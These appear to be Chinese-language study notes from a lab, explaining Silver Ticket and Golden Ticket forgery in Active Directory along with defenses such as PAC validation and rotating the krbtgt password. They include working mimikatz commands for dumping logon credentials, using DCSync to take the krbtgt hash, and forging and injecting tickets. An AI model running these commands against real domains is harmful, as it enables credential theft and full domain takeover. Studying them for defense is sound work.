票据攻击
白银票据与白银票据伪造
白银票据是一张伪造的服务认证票据,可以用来访问某些服务
Kerberos允许不对虚拟令牌是否有效进行双重检查,攻击者由此可以通过破解计算机的NTLM Hash创建一个虚假的认证票据,从而访问某些服务
伪造白银票据的条件和特点:
1. 不需要与密钥发放中心交互
2. 需要目标NTLM Hash
3. 比金票更难检测,因为服务和DC之间没有通信,日志都被记录在本地计算机
伪造白银票据
伪造白银票据需要掌握的信息
1. 域名
2. 域SID
3. 目标服务器的完整域名,计算机全名(同时带有主机名和域名)
4. 可利用的服务 //这里利用共享服务
5. 服务账号的NTLM Hash
6. 需要伪造的用户名
登录win7,尝试访问dc的共享文件
此时没有访问权限
- 登录域控,进行抓取
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit" > log.txt
得到域控中的共享服务账号,不是Administrator用户!
- 在跳板机win7上执行
kerberos::golden /domain:F0ZZ.COM /sid:<sid> /target:dc1.F0ZZ.COM /service:cifs /rc4:<NTLM Hash> /user:win7 /ptt
SID指的是域SID,需要去掉最后一段表示权限的数字
可以使用whoami /user
获取
target的格式是 user.domain.com
kerberos::list
列出票据
理论上接下来就可以访问指定的服务
![5JB{MF1YK)~6C79F%)7I07.png
如果不能,可能是
- server未打开网络发现
- server未开启共享
- server无此角色或功能
服务注释 服务名 WMI HOST、RPCSS Powershell Remoteing HOST、HTTP WinRM HOST、HTTP Scheduled Tasks HOST LDAP 、DCSync LDAP Windows File Share (CIFS) CIFS Windows Remote ServerAdministration Tools RPCSS、LDAP、CIFS
问题1
尝试解决方法1:
尝试打开高级共享设置中的网络发现,但是每次打开后都自动关掉
要解决这个问题需要启用以下的3个服务:
1.Function Discovery Resource Publication
2.SSDP Discovery
3.UPnP Device Host
白银票据伪造的防御方法
Kerberos开启检测PAC,注册表中HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Lsa\Kerberos\Parameters
ValidateKdcPacSignature的值设置为1。
黄金票据与黄金票据伪造
krbtgt:密钥发放中心的服务账号
在Kerberos的客户端认证过程中,AS向客户端发送使用krbtgt NTLM Hash加密的Client/TGS会话密钥和TGT,这份会话密钥不会保存在KDC中。所以只要得到krbtgt NTLM Hash,就可以得到TGS密钥,从而伪造TGT和Client/TGS会话密钥,进行下一步交互。这个伪造的TGT就是黄金票据
环境模拟
先决条件
1. 域名称
2. 域sid
3. 域中krbtgt的NTLM Hash
4. 任意用户名
获取krbtgt 的NTLM Hash
使用本地dministrator用户登录域
获取域名net config workstation
获取dc主机名nltest /dsgetdc:f0zz.com
获取krbtgt NTLM Hashmimikatz.exe "lsadump::dcsync /domain:f0zz.com /user:krbtgt" "exit" > log.txt
切换到win7尝试访问
尝试生成票据
kerberos.exe "kerberos::golden /domain:f0zz.com /sid:S-1-5-21-965424497-781454039-1676480547 /rc4:ab4a6f149409cbe3d72d38a833acd7b4 /user:win7 /ptt" "exit"
/domain:<域名>
/sid:<域SID>
/rc4:<krbtgt NTLM Hash>
/user:<随便一个用户名>
成功访问!
如何防御黄金票据攻击
Krbtgt会保存上一条历史密码 ,连续两次修改krbtgt密码,使kdc保存的上一条krbtgt密码失效
对比两种票据
黄金票据 | 白银票据 | |
---|---|---|
访问权限 | 伪造TGT,可以获取任何Kerberos服务权限 | 伪造TGS,只能访问指定的服务 |
加密方式 | 由Kerberos的Hash加密 | Silver Ticket由服务账号Hash加密 |
认证流程 | 需要访问域控认证,属于第二步认证 | 直接和服务器认,最后一步认证 |
Refer:
Kerberos Attack:Silver Ticket Edition
Kerberos学习笔记
彻底理解Windows认证 - 议题解读